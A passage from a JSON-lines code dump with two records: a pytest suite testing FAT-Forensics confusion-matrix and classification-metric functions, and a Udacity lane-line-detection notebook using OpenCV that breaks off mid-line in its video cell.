{"text": "\"\"\"\nHolds custom distance functions used for FAT-Forensics examples and testing.\n\"\"\"\n# Author: Kacper Sokol <k.sokol@bristol.ac.uk>\n# License: new BSD\n\nimport numpy as np\nimport pytest\n\nimport fatf.utils.models.metrics as fumm\n\nfrom fatf.exceptions import IncorrectShapeError\n\nUSER_WARNING = ('Some of the given labels are not present in either of the '\n                'input arrays: {}.')\nGROUND_TRUTH = np.array(['a', 'b', 'b', 'b', 'a', 'a', 'b', 'c', 'c', 'c'])\nPREDICTIONS = np.array(['b', 'a', 'b', 'c', 'a', 'c', 'b', 'a', 'c', 'b'])\n# [[3, 11],\n#  [7, 5 ]]\nGROUND_TRUTH_BIN = np.array([\n    'a', 'a', 'a', 'b', 'b', 'b', 'b', 'b', 'a', 'a', 'a', 'a', 'a', 'a', 'a',\n    'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b'\n])\n# [[1, 1, 1],\n#  [1, 2, 1],\n#  [1, 1, 1]]\nPREDICTIONS_BIN = np.array([\n    'a', 'a', 'a', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b', 'b',\n    'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a'\n])\n\n\ndef test_validate_confusion_matrix():\n    \"\"\"\n    Tests :func:`fatf.utils.models.metrics.validate_confusion_matrix`.\n    \"\"\"\n    incorrect_shape_error_2d = ('The confusion matrix has to be a '\n                                '2-dimensional numpy array.')\n    incorrect_shape_error_square = ('The confusion matrix has to be a square '\n                                    '(equal width and height) numpy array.')\n    incorrect_shape_error_2 = 'The confusion matrix needs to be at least 2x2.'\n    value_error = 'The confusion matrix cannot be a structured numpy array.'\n    type_error_cm = 'The confusion matrix has to be of integer kind.'\n    type_error_index = 'The label index has to be an integer.'\n    index_error = ('The label index {} is not a valid index for the confusion '\n                   'matrix of shape {}x{}.')\n\n    three_d_array = np.array([[[0], [2]], [[3]]])\n    two_d_array_rect = np.array([[0, 2], [3, 5], [7, 9]])\n    two_d_array_one = np.array([[0]])\n    struct_array = np.array([(1, 2), (3, 4)], dtype=[('a', 'i'), ('b', 'i')])\n    non_int_array = np.array([[2.0, 2], [7, 8]])\n\n    two_d_array = np.array([[1, 2], [3, 4]])\n\n    with pytest.raises(IncorrectShapeError) as exi:\n        fumm.validate_confusion_matrix(three_d_array)\n    assert str(exi.value) == incorrect_shape_error_2d\n\n    with pytest.raises(IncorrectShapeError) as exi:\n        fumm.validate_confusion_matrix(two_d_array_rect)\n    assert str(exi.value) == incorrect_shape_error_square\n\n    with pytest.raises(IncorrectShapeError) as exi:\n        fumm.validate_confusion_matrix(two_d_array_one)\n    assert str(exi.value) == incorrect_shape_error_2\n\n    with pytest.raises(ValueError) as exi:\n        fumm.validate_confusion_matrix(struct_array)\n    assert str(exi.value) == value_error\n\n    with pytest.raises(TypeError) as exi:\n        fumm.validate_confusion_matrix(non_int_array)\n    assert str(exi.value) == type_error_cm\n\n    with pytest.raises(TypeError) as exi:\n        fumm.validate_confusion_matrix(two_d_array, 'a')\n    assert str(exi.value) == type_error_index\n\n    with pytest.raises(IndexError) as exi:\n        fumm.validate_confusion_matrix(two_d_array, -1)\n    assert str(exi.value) == index_error.format(-1, 2, 2)\n\n    with pytest.raises(IndexError) as exi:\n        fumm.validate_confusion_matrix(two_d_array, 2)\n    assert str(exi.value) == index_error.format(2, 2, 2)\n\n\ndef test_validate_confusion_matrix_size():\n    \"\"\"\n    Tests :func:`fatf.utils.models.metrics._validate_confusion_matrix_size`.\n    \"\"\"\n    incorrect_shape_error = ('The confusion matrix is of shape {}x{} but '\n                             '{}x{} is the requirement.')\n\n    two_d = np.array([[0, 1], [2, 3]])\n    three_d = np.array([[1, 2, 3], [1, 2, 3], [1, 2, 3]])\n\n    with pytest.raises(IncorrectShapeError) as exi:\n        fumm._validate_confusion_matrix_size(two_d, 3)\n    assert str(exi.value) == incorrect_shape_error.format(2, 2, 3, 3)\n\n    with pytest.raises(IncorrectShapeError) as exi:\n        fumm._validate_confusion_matrix_size(three_d, 2)\n    assert str(exi.value) == incorrect_shape_error.format(3, 3, 2, 2)\n\n\ndef test_get_confusion_matrix_errors():\n    \"\"\"\n    Tests :func:`fatf.utils.models.metrics.get_confusion_matrix` for errors.\n    \"\"\"\n    incorrect_shape_error_gt = ('The ground truth vector has to be '\n                                '1-dimensional numpy array.')\n    incorrect_shape_error_pred = ('The predictions vector has to be '\n                                  '1-dimensional numpy array.')\n    incorrect_shape_error_gtp = ('Both the ground truth and the predictions '\n                                 'vectors have to have the same length.')\n    value_error_labels_empty = 'The labels list cannot be empty.'\n    value_error_labels_duplicates = 'The labels list contains duplicates.'\n    value_error_labels_missing = ('The following labels are present in the '\n                                  'input arrays but were not given in the '\n                                  'labels parameter: {}.')\n    type_error_labels = 'The labels parameter has to either a list or None.'\n\n    two_d_array = np.array([[1, 2], [3, 4]])\n    one_d_array_4 = np.array([1, 2, 3, 4])\n    one_d_array_5 = np.array([1, 2, 3, 4, 5])\n\n    cma_true = np.array([[1, 0, 0, 0, 0], [0, 1, 0, 0, 0], [0, 0, 1, 0, 0],\n                         [0, 0, 0, 1, 0], [0, 0, 0, 0, 0]])\n\n    with pytest.raises(IncorrectShapeError) as exi:\n        fumm.get_confusion_matrix(two_d_array, two_d_array)\n    assert str(exi.value) == incorrect_shape_error_gt\n    #\n    with pytest.raises(IncorrectShapeError) as exi:\n        fumm.get_confusion_matrix(one_d_array_4, two_d_array)\n    assert str(exi.value) == incorrect_shape_error_pred\n    #\n    with pytest.raises(IncorrectShapeError) as exi:\n        fumm.get_confusion_matrix(one_d_array_4, one_d_array_5)\n    assert str(exi.value) == incorrect_shape_error_gtp\n\n    with pytest.raises(TypeError) as exi:\n        fumm.get_confusion_matrix(one_d_array_4, one_d_array_4, 'a')\n    assert str(exi.value) == type_error_labels\n    #\n    with pytest.raises(ValueError) as exi:\n        fumm.get_confusion_matrix(one_d_array_4, one_d_array_4, [])\n    assert str(exi.value) == value_error_labels_empty\n    #\n    with pytest.raises(ValueError) as exi:\n        fumm.get_confusion_matrix(one_d_array_4, one_d_array_4, [2, 3, 2])\n    assert str(exi.value) == value_error_labels_duplicates\n    #\n    with pytest.raises(ValueError) as exi:\n        fumm.get_confusion_matrix(one_d_array_4, one_d_array_4, [2, 4, 3])\n    assert str(exi.value) == value_error_labels_missing.format('{1}')\n\n    with pytest.warns(UserWarning) as w:\n        cma = fumm.get_confusion_matrix(one_d_array_4, one_d_array_4,\n                                        [1, 2, 3, 4, 5])\n    assert len(w) == 1\n    assert str(w[0].message) == USER_WARNING.format('{5}')\n    assert np.array_equal(cma, cma_true)\n\n\ndef test_get_confusion_matrix():\n    \"\"\"\n    Tests the :func:`fatf.utils.models.metrics.get_confusion_matrix` function.\n    \"\"\"\n    cmx = np.array([[1, 1, 1], [1, 2, 1], [1, 1, 1]])\n    cmx_bb = np.array([[1, 1, 0, 1], [1, 2, 0, 1], [0, 0, 0, 0], [1, 1, 0, 1]])\n\n    # Default labeling\n    cma = fumm.get_confusion_matrix(GROUND_TRUTH, PREDICTIONS)\n    assert np.array_equal(cmx, cma)\n\n    # Custom non-existing labeling\n    with pytest.warns(UserWarning) as w:\n        cma = fumm.get_confusion_matrix(GROUND_TRUTH, PREDICTIONS,\n                                        ['a', 'b', 'bb', 'c'])\n    assert len(w) == 1\n    assert str(w[0].message) == USER_WARNING.format(\"{'bb'}\")\n    assert np.array_equal(cmx_bb, cma)\n\n\ndef test_multiclass_true_positive_rate():\n    \"\"\"\n    Tests :func:`fatf.utils.models.metrics.multiclass_true_positive_rate`.\n    \"\"\"\n    cma = fumm.get_confusion_matrix(GROUND_TRUTH, PREDICTIONS)\n\n    mtpr_0 = fumm.multiclass_true_positive_rate(cma, 0)\n    assert mtpr_0 == pytest.approx(0.333, abs=1e-3)\n    mtpr_1 = fumm.multiclass_true_positive_rate(cma, 1)\n    assert mtpr_1 == 0.5\n    mtpr_2 = fumm.multiclass_true_positive_rate(cma, 2)\n    assert mtpr_2 == pytest.approx(0.333, abs=1e-3)\n\n\ndef test_multiclass_true_negative_rate():\n    \"\"\"\n    Tests :func:`fatf.utils.models.metrics.multiclass_true_negative_rate`.\n    \"\"\"\n    cma = fumm.get_confusion_matrix(GROUND_TRUTH, PREDICTIONS)\n\n    type_error = 'The strict parameter has to be a boolean.'\n    with pytest.raises(TypeError) as exi:\n        fumm.multiclass_true_negative_rate(cma, 0, 'one')\n    assert str(exi.value) == type_error\n\n    metric = pytest.approx(5 / 7)\n    mtpr_0_n = fumm.multiclass_true_negative_rate(cma, 0)\n    assert mtpr_0_n == metric\n    mtpr_0_n = fumm.multiclass_true_negative_rate(cma, 0, False)\n    assert mtpr_0_n == metric\n    #\n    metric = pytest.approx(4 / 6)\n    mtpr_1_n = fumm.multiclass_true_negative_rate(cma, 1)\n    assert mtpr_1_n == metric\n    mtpr_1_n = fumm.multiclass_true_negative_rate(cma, 1, False)\n    assert mtpr_1_n == metric\n    #\n    metric = pytest.approx(5 / 7)\n    mtpr_2_n = fumm.multiclass_true_negative_rate(cma, 2)\n    assert mtpr_2_n == metric\n    mtpr_2_n = fumm.multiclass_true_negative_rate(cma, 2, False)\n    assert mtpr_2_n == metric\n\n    metric = pytest.approx(3 / 7)\n    mtpr_0_p = fumm.multiclass_true_negative_rate(cma, 0, True)\n    assert mtpr_0_p == metric\n    metric = pytest.approx(2 / 6)\n    mtpr_1_p = fumm.multiclass_true_negative_rate(cma, 1, True)\n    assert mtpr_1_p == metric\n    metric = pytest.approx(3 / 7)\n    mtpr_2_p = fumm.multiclass_true_negative_rate(cma, 2, True)\n    assert mtpr_2_p == metric\n\n\ndef test_multiclass_false_positive_rate():\n    \"\"\"\n    Tests :func:`fatf.utils.models.metrics.multiclass_false_positive_rate`.\n    \"\"\"\n    cma = fumm.get_confusion_matrix(GROUND_TRUTH, PREDICTIONS)\n\n    mtpr_0 = fumm.multiclass_false_positive_rate(cma, 0)\n    assert mtpr_0 == pytest.approx(2 / 7, abs=1e-3)\n    mtpr_1 = fumm.multiclass_false_positive_rate(cma, 1)\n    assert mtpr_1 == pytest.approx(2 / 6, abs=1e-3)\n    mtpr_2 = fumm.multiclass_false_positive_rate(cma, 2)\n    assert mtpr_2 == pytest.approx(2 / 7, abs=1e-3)\n\n\ndef test_multiclass_false_negative_rate():\n    \"\"\"\n    Tests :func:`fatf.utils.models.metrics.multiclass_false_negative_rate`.\n    \"\"\"\n    cma = fumm.get_confusion_matrix(GROUND_TRUTH, PREDICTIONS)\n\n    mtpr_0 = fumm.multiclass_false_negative_rate(cma, 0)\n    assert mtpr_0 == pytest.approx(2 / 3, abs=1e-3)\n    mtpr_1 = fumm.multiclass_false_negative_rate(cma, 1)\n    assert mtpr_1 == pytest.approx(2 / 4, abs=1e-3)\n    mtpr_2 = fumm.multiclass_false_negative_rate(cma, 2)\n    assert mtpr_2 == pytest.approx(2 / 3, abs=1e-3)\n\n\ndef test_true_positive_rate():\n    \"\"\"\n    Tests :func:`fatf.utils.models.metrics.true_positive_rate`.\n    \"\"\"\n    cma = fumm.get_confusion_matrix(GROUND_TRUTH_BIN, PREDICTIONS_BIN)\n    mtpr = fumm.true_positive_rate(cma)\n    assert mtpr == pytest.approx(3 / 10, abs=1e-3)\n\n\ndef test_true_negative_rate():\n    \"\"\"\n    Tests :func:`fatf.utils.models.metrics.true_negative_rate`.\n    \"\"\"\n    cma = fumm.get_confusion_matrix(GROUND_TRUTH_BIN, PREDICTIONS_BIN)\n    mtpr = fumm.true_negative_rate(cma)\n    assert mtpr == pytest.approx(5 / 16, abs=1e-3)\n\n\ndef test_false_negative_rate():\n    \"\"\"\n    Tests :func:`fatf.utils.models.metrics.false_negative_rate`.\n    \"\"\"\n    cma = fumm.get_confusion_matrix(GROUND_TRUTH_BIN, PREDICTIONS_BIN)\n    mtpr = fumm.false_negative_rate(cma)\n    assert mtpr == pytest.approx(7 / 10, abs=1e-3)\n\n\ndef test_false_positive_rate():\n    \"\"\"\n    Tests :func:`fatf.utils.models.metrics.false_positive_rate`.\n    \"\"\"\n    cma = fumm.get_confusion_matrix(GROUND_TRUTH_BIN, PREDICTIONS_BIN)\n    mtpr = fumm.false_positive_rate(cma)\n    assert mtpr == pytest.approx(11 / 16, abs=1e-3)\n\n\ndef test_multiclass_positive_predictive_value():\n    \"\"\"\n    :func:`fatf.utils.models.metrics.multiclass_positive_predictive_value`.\n    \"\"\"\n    cma = fumm.get_confusion_matrix(GROUND_TRUTH, PREDICTIONS)\n\n    mtpr_0 = fumm.multiclass_positive_predictive_value(cma, 0)\n    assert mtpr_0 == pytest.approx(1 / 3, abs=1e-3)\n    mtpr_1 = fumm.multiclass_positive_predictive_value(cma, 1)\n    assert mtpr_1 == pytest.approx(2 / 4, abs=1e-3)\n    mtpr_2 = fumm.multiclass_positive_predictive_value(cma, 2)\n    assert mtpr_2 == pytest.approx(1 / 3, abs=1e-3)\n\n\ndef test_multiclass_negative_predictive_value():\n    \"\"\"\n    :func:`fatf.utils.models.metrics.multiclass_negative_predictive_value`.\n    \"\"\"\n    cma = fumm.get_confusion_matrix(GROUND_TRUTH, PREDICTIONS)\n\n    type_error = 'The strict parameter has to be a boolean.'\n    with pytest.raises(TypeError) as exi:\n        fumm.multiclass_negative_predictive_value(cma, 0, 'one')\n    assert str(exi.value) == type_error\n\n    metric = pytest.approx(5 / 7)\n    mtpr_0_n = fumm.multiclass_negative_predictive_value(cma, 0)\n    assert mtpr_0_n == metric\n    mtpr_0_n = fumm.multiclass_negative_predictive_value(cma, 0, False)\n    assert mtpr_0_n == metric\n    #\n    metric = pytest.approx(4 / 6)\n    mtpr_1_n = fumm.multiclass_negative_predictive_value(cma, 1)\n    assert mtpr_1_n == metric\n    mtpr_1_n = fumm.multiclass_negative_predictive_value(cma, 1, False)\n    assert mtpr_1_n == metric\n    #\n    metric = pytest.approx(5 / 7)\n    mtpr_2_n = fumm.multiclass_negative_predictive_value(cma, 2)\n    assert mtpr_2_n == metric\n    mtpr_2_n = fumm.multiclass_negative_predictive_value(cma, 2, False)\n    assert mtpr_2_n == metric\n\n    metric = pytest.approx(3 / 7)\n    mtpr_0_p = fumm.multiclass_negative_predictive_value(cma, 0, True)\n    assert mtpr_0_p == metric\n    metric = pytest.approx(2 / 6)\n    mtpr_1_p = fumm.multiclass_negative_predictive_value(cma, 1, True)\n    assert mtpr_1_p == metric\n    metric = pytest.approx(3 / 7)\n    mtpr_2_p = fumm.multiclass_negative_predictive_value(cma, 2, True)\n    assert mtpr_2_p == metric\n\n\ndef test_positive_predictive_value():\n    \"\"\"\n    :func:`fatf.utils.models.metrics.positive_predictive_value`.\n    \"\"\"\n    cma = fumm.get_confusion_matrix(GROUND_TRUTH_BIN, PREDICTIONS_BIN)\n    mtpr = fumm.positive_predictive_value(cma)\n    assert mtpr == pytest.approx(3 / 14, abs=1e-3)\n\n\ndef test_negative_predictive_value():\n    \"\"\"\n    :func:`fatf.utils.models.metrics.negative_predictive_value`.\n    \"\"\"\n    cma = fumm.get_confusion_matrix(GROUND_TRUTH_BIN, PREDICTIONS_BIN)\n    mtpr = fumm.negative_predictive_value(cma)\n    assert mtpr == pytest.approx(5 / 12, abs=1e-3)\n\n\ndef test_accuracy():\n    \"\"\"\n    Tests :func:`fatf.utils.models.metrics.accuracy` function.\n    \"\"\"\n    cma = fumm.get_confusion_matrix(GROUND_TRUTH, PREDICTIONS)\n    acc = fumm.accuracy(cma)\n    assert acc == pytest.approx(4 / 10, abs=1e-3)\n\n    cma = fumm.get_confusion_matrix(GROUND_TRUTH_BIN, PREDICTIONS_BIN)\n    acc = fumm.accuracy(cma)\n    assert acc == pytest.approx(8 / 26, abs=1e-3)\n\n\ndef test_multiclass_treatment():\n    \"\"\"\n    Tests :func:`fatf.utils.models.metrics.multiclass_treatment` function.\n    \"\"\"\n    cma = fumm.get_confusion_matrix(GROUND_TRUTH, PREDICTIONS)\n\n    mtpr_0 = fumm.multiclass_treatment(cma, 0)\n    assert mtpr_0 == pytest.approx(2 / 6, abs=1e-3)\n    mtpr_1 = fumm.multiclass_treatment(cma, 1)\n    assert mtpr_1 == pytest.approx(2 / 6, abs=1e-3)\n    mtpr_2 = fumm.multiclass_treatment(cma, 2)\n    assert mtpr_2 == pytest.approx(2 / 6, abs=1e-3)\n\n\ndef test_treatment():\n    \"\"\"\n    Tests :func:`fatf.utils.models.metrics.treatment` function.\n    \"\"\"\n    cma = fumm.get_confusion_matrix(GROUND_TRUTH_BIN, PREDICTIONS_BIN)\n    mtpr = fumm.treatment(cma)\n    assert mtpr == pytest.approx(11 / 18, abs=1e-3)\n", "meta": {"hexsha": "d30a01465074219ce55a134344e346d541e16eb8", "size": 15448, "ext": "py", "lang": "Python", "max_stars_repo_path": "fatf/utils/models/tests/test_metrics_models.py", "max_stars_repo_name": "RafaelPo/fat-forensics", "max_stars_repo_head_hexsha": "edd3c7e149c4534d76fe2241bc919afc5c3c4581", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "fatf/utils/models/tests/test_metrics_models.py", "max_issues_repo_name": "RafaelPo/fat-forensics", "max_issues_repo_head_hexsha": "edd3c7e149c4534d76fe2241bc919afc5c3c4581", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "fatf/utils/models/tests/test_metrics_models.py", "max_forks_repo_name": "RafaelPo/fat-forensics", "max_forks_repo_head_hexsha": "edd3c7e149c4534d76fe2241bc919afc5c3c4581", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 37.4951456311, "max_line_length": 79, "alphanum_fraction": 0.6667529777, "include": true, "reason": "import numpy", "num_tokens": 4666, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4649015713733885, "lm_q2_score": 0.14608724704829568, "lm_q1q2_score": 0.06791619071036507}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # Self-Driving Car Engineer Nanodegree\n# \n# \n# ## Project: **Finding Lane Lines on the Road** \n# ***\n# In this project, you will use the tools you learned about in the lesson to identify lane lines on the road.  You can develop your pipeline on a series of individual images, and later apply the result to a video stream (really just a series of images). Check out the video clip \"raw-lines-example.mp4\" (also contained in this repository) to see what the output should look like after using the helper functions below. \n# \n# Once you have a result that looks roughly like \"raw-lines-example.mp4\", you'll need to get creative and try to average and/or extrapolate the line segments you've detected to map out the full extent of the lane lines.  You can see an example of the result you're going for in the video \"P1_example.mp4\".  Ultimately, you would like to draw just one line for the left side of the lane, and one for the right.\n# \n# In addition to implementing code, there is a brief writeup to complete. The writeup should be completed in a separate file, which can be either a markdown file or a pdf document. There is a [write up template](https://github.com/udacity/CarND-LaneLines-P1/blob/master/writeup_template.md) that can be used to guide the writing process. Completing both the code in the Ipython notebook and the writeup template will cover all of the [rubric points](https://review.udacity.com/#!/rubrics/322/view) for this project.\n# \n# ---\n# Let's have a look at our first image called 'test_images/solidWhiteRight.jpg'.  Run the 2 cells below (hit Shift-Enter or the \"play\" button above) to display the image.\n# \n# **Note: If, at any point, you encounter frozen display windows or other confounding issues, you can always start again with a clean slate by going to the \"Kernel\" menu above and selecting \"Restart & Clear Output\".**\n# \n# ---\n\n# **The tools you have are color selection, region of interest selection, grayscaling, Gaussian smoothing, Canny Edge Detection and Hough Tranform line detection.  You  are also free to explore and try other techniques that were not presented in the lesson.  Your goal is piece together a pipeline to detect the line segments in the image, then average/extrapolate them and draw them onto the image for display (as below).  Once you have a working pipeline, try it out on the video stream below.**\n# \n# ---\n# \n# <figure>\n#  <img src=\"examples/line-segments-example.jpg\" width=\"380\" alt=\"Combined Image\" />\n#  <figcaption>\n#  <p></p> \n#  <p style=\"text-align: center;\"> Your output should look something like this (above) after detecting line segments using the helper functions below </p> \n#  </figcaption>\n# </figure>\n#  <p></p> \n# <figure>\n#  <img src=\"examples/laneLines_thirdPass.jpg\" width=\"380\" alt=\"Combined Image\" />\n#  <figcaption>\n#  <p></p> \n#  <p style=\"text-align: center;\"> Your goal is to connect/average/extrapolate line segments to get output like this</p> \n#  </figcaption>\n# </figure>\n\n# **Run the cell below to import some packages.  If you get an `import error` for a package you've already installed, try changing your kernel (select the Kernel menu above --> Change Kernel).  Still have problems?  Try relaunching Jupyter Notebook from the terminal prompt.  Also, consult the forums for more troubleshooting tips.**  \n\n# ## Import Packages\n\n# In[1]:\n\n\n#importing some useful packages\nimport matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\nimport numpy as np\nimport cv2\nget_ipython().run_line_magic('matplotlib', 'inline')\n\n\n# ## Read in an Image\n\n# In[2]:\n\n\n#reading in an image\nimage = mpimg.imread('test_images/solidWhiteCurve.jpg')\n\n#printing out some stats and plotting\nprint('This image is:', type(image), 'with dimensions:', image.shape)\nplt.imshow(image)  # if you wanted to show a single color channel image called 'gray', for example, call as plt.imshow(gray, cmap='gray')\n\n\n# ## Ideas for Lane Detection Pipeline\n\n# **Some OpenCV functions (beyond those introduced in the lesson) that might be useful for this project are:**\n# \n# `cv2.inRange()` for color selection  \n# `cv2.fillPoly()` for regions selection  \n# `cv2.line()` to draw lines on an image given endpoints  \n# `cv2.addWeighted()` to coadd / overlay two images  \n# `cv2.cvtColor()` to grayscale or change color  \n# `cv2.imwrite()` to output images to file  \n# `cv2.bitwise_and()` to apply a mask to an image\n# \n# **Check out the OpenCV documentation to learn about these and discover even more awesome functionality!**\n\n# ## Helper Functions\n\n# Below are some helper functions to help get you started. They should look familiar from the lesson!\n\n# In[24]:\n\n\nimport math\n\ndef grayscale(img):\n    return cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)\n    # Or use BGR2GRAY if you read an image with cv2.imread()\n    # return cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n    \ndef canny(img, low_threshold, high_threshold):\n    return cv2.Canny(img, low_threshold, high_threshold)\n\ndef gaussian_blur(img, kernel_size):\n    return cv2.GaussianBlur(img, (kernel_size, kernel_size), 0)\n\ndef region_of_interest(img, vertices):\n    #defining a blank mask to start with\n    mask = np.zeros_like(img)   \n    \n    #defining a 3 channel or 1 channel color to fill the mask with depending on the input image\n    if len(img.shape) > 2:\n        channel_count = img.shape[2]  # i.e. 3 or 4 depending on your image\n        ignore_mask_color = (255,) * channel_count\n    else:\n        ignore_mask_color = 255\n        \n    #filling pixels inside the polygon defined by \"vertices\" with the fill color    \n    cv2.fillPoly(mask, vertices, ignore_mask_color)\n    \n    #returning the image only where mask pixels are nonzero\n    masked_image = cv2.bitwise_and(img, mask)\n    return masked_image\n\n\ndef draw_lines(img, lines, color=[255, 0, 0], thickness=2):\n    xl=yl=xr=yr=[]\n    ymax=540\n    ymin=320\n    for line in lines:\n        for x1,y1,x2,y2 in line:\n            #cv2.line(img, (x1, y1), (x2, y2), (255, 0, 255), 3)\n            #Calculate the slope for each line to find out, if the line belongs to the right lane or the left lane\n            slope=((y2-y1)/(x2-x1))\n            if (slope < 0):\n                #Reject slopes that are too flat on the left side\n                if slope > -0.4:\n                    continue\n                #reject x-coordinates that are on the right side of the picture\n                if x1>600 and x2>600:\n                    continue\n                #add x and y coordinates to arrays\n                xl=np.append(xl,x1)\n                xl=np.append(xl,x2)\n                yl=np.append(yl,y1)\n                yl=np.append(yl,y2)\n                #cv2.line(img, (x1, y1), (x2, y2), (255, 0, 255), 3)\n            if (slope > 0):\n                #Reject slopes that are too flat on the right side\n                if slope < 0.4:\n                    continue\n                 #reject x-coordinates that are on the left side of the picture\n                if x1 < 300 and x2 < 300:\n                    continue\n                #add x and y coordinates to arrays\n                xr=np.append(xr,x1)\n                xr=np.append(xr,x2)\n                yr=np.append(yr,y1)\n                yr=np.append(yr,y2)\n                #cv2.line(img, (x1, y1), (x2, y2), (0, 255, 255), 3)\n                \n    ## one single line for each lane            \n    ## right lane            \n    #create a linear function out of the arrays containing the x and y coordinates        \n    right_lane_poly=np.poly1d(np.polyfit(yr,xr,1))\n    #calculate the x-values for maximum y and minimum y\n    xdownr=int(right_lane_poly(ymax))\n    xupr=int(right_lane_poly(ymin))\n    \n    ##left lane\n    #create a linear function out of the arrays containing the x and y coordinates \n    left_lane_poly=np.poly1d(np.polyfit(yl,xl,1))\n    #calculate the x-values for maximum y and minimum y\n    xdownl=int(left_lane_poly(ymax))\n    xupl=int(left_lane_poly(ymin))\n    \n    #draw the left and right lane\n    cv2.line(img, (xdownl,ymax), (xupl, ymin), (255,0, 0), 10)        \n    cv2.line(img, (xdownr,ymax), (xupr, ymin), (255,0, 0), 10)\n    \ndef hough_lines(img, rho, theta, threshold, min_line_len, max_line_gap):\n    lines = cv2.HoughLinesP(img, rho, theta, threshold, np.array([]), minLineLength=min_line_len, maxLineGap=max_line_gap)\n    line_img = np.zeros((img.shape[0], img.shape[1], 3), dtype=np.uint8)\n    draw_lines(line_img, lines)\n    return line_img\n\n# Python 3 has support for cool math symbols.\n\ndef weighted_img(img, initial_img, \u03b1=0.8, \u03b2=1., \u03b3=0.):\n    return cv2.addWeighted(initial_img, \u03b1, img, \u03b2, \u03b3)\n\n\n# ## Test Images\n# \n# Build your pipeline to work on the images in the directory \"test_images\"  \n# **You should make sure your pipeline works well on these images before you try the videos.**\n\n# In[4]:\n\n\nimport os\nos.listdir(\"test_images/\")\n\n\n# ## Build a Lane Finding Pipeline\n# \n# \n\n# Build the pipeline and run your solution on all test_images. Make copies into the `test_images_output` directory, and you can use the images in your writeup report.\n# \n# Try tuning the various parameters, especially the low and high Canny thresholds as well as the Hough lines parameters.\n\n# In[25]:\n\n\n# then save them to the test_images_output directory.\n## 1: Convert to grayscale\ngray=grayscale(image)\nplt.imshow(gray,cmap='gray')\n\n## 2: Smooth\ngray_smooth=gaussian_blur(gray,3)\nplt.imshow(gray_smooth,cmap='gray')\n\n## 3: Canny Edge Detection\n#Variables\nlowth=100\nhighth=200\n#Apply function\nedges=canny(gray_smooth,lowth,highth)\nplt.imshow(edges, cmap='gray')\n\n## 4: Create mask\n#Vertices of mask\nleftlow=[30,540]\nrightlow=[930,540]\nleftup=[460,320]\nrightup=[510,320]\n#Create and apply mask\nmask=np.array([[leftlow],[rightlow],[rightup],[leftup]])\narea=region_of_interest(edges, [mask])\nplt.imshow(area,cmap='gray')\n\n## 5: Hough transformation\n#Variables\nrho=6\ntheta=np.pi/60\nthreshold=5\nmin_line_len=45\nmax_line_gap=60\n#Apply function\nHoughLines=hough_lines(area, rho, theta, threshold, min_line_len, max_line_gap)\nplt.imshow(HoughLines)\n\n#Final picture\nFinal=weighted_img(HoughLines, image, \u03b1=0.8, \u03b2=1., \u03b3=0.)\nplt.imshow(Final)\n\n\n# ## Test on Videos\n# \n# You know what's cooler than drawing lanes over images? Drawing lanes over video!\n# \n# We can test our solution on two provided videos:\n# \n# `solidWhiteRight.mp4`\n# \n# `solidYellowLeft.mp4`\n# \n# **Note: if you get an import error when you run the next cell, try changing your kernel (select the Kernel menu above --> Change Kernel). Still have problems? Try relaunching Jupyter Notebook from the terminal prompt. Also, consult the forums for more troubleshooting tips.**\n# \n# **If you get an error that looks like this:**\n# ```\n# NeedDownloadError: Need ffmpeg exe. \n# You can download it by calling: \n# imageio.plugins.ffmpeg.download()\n# ```\n# **Follow the instructions in the error message and check out [this forum post](https://discussions.udacity.com/t/project-error-of-test-on-videos/274082) for more troubleshooting tips across operating systems.**\n\n# In[6]:\n\n\n# Import everything needed to edit/save/watch video clips\nfrom moviepy.editor import VideoFileClip\nfrom IPython.display import HTML\n\n\n# In[7]:\n\n\ndef process_image(image):\n    # NOTE: The output you return should be a color image (3 channel) for processing video below\n    # then save them to the test_images_output directory.\n    ## 1: Convert to grayscale\n    gray=grayscale(image)\n    #plt.imshow(gray,cmap='gray')\n\n    ## 2: Smooth\n    gray_smooth=gaussian_blur(gray,9)\n    #plt.imshow(gray_smooth)\n\n    ## 3: Canny Edge Detection\n    #Variables\n    lowth=50\n    highth=180\n    #Apply function\n    edges=canny(gray_smooth,lowth,highth)\n    #plt.imshow(edges)\n\n    ## 4: Create mask\n    #Vertices of mask\n    leftlow=[30,540]\n    rightlow=[930,540]\n    leftup=[460,320]\n    rightup=[510,320]\n    #Create and apply mask\n    mask=np.array([[leftlow],[rightlow],[rightup],[leftup]])\n    area=region_of_interest(edges, [mask])\n    plt.imshow(area,cmap='gray')\n\n    ## 5: Hough transformation\n    #Variables\n    rho=6\n    theta=np.pi/60\n    threshold=5\n    min_line_len=45\n    max_line_gap=60\n    #Apply function\n    HoughLines=hough_lines(area, rho, theta, threshold, min_line_len, max_line_gap)\n    plt.imshow(HoughLines)\n\n    #Final picture\n    result=weighted_img(HoughLines, image, \u03b1=0.8, \u03b2=1., \u03b3=0.)\n    #plt.imshow(Final)\n    # you should return the final output (image where lines are drawn on lanes)\n    return result\n\n\n# Let's try the one with the solid white lane on the right first ...\n\n# In[8]:\n\n\nwhite_output = 'test_videos_output/solidWhiteRight.mp4'\n## To speed up the testing process you may want to try your pipeline on a shorter subclip of the video\n## To do so add .subclip(start_second,end_second) to the end of the line below\n## Where start_second and end_second are integer values representing the start and end of the subclip\n## You may also uncomment the following line for a subclip of the first 5 seconds\n##clip1 = VideoFileClip(\"test_videos/solidWhiteRight.mp4\").subclip(0,5)\nclip1 = VideoFileClip(\"test_videos/solidWhiteRight.mp4\")\nwhite_clip = clip1.fl_image(process_image) #NOTE: this function expects color images!!\nget_ipython().run_line_magic('time', 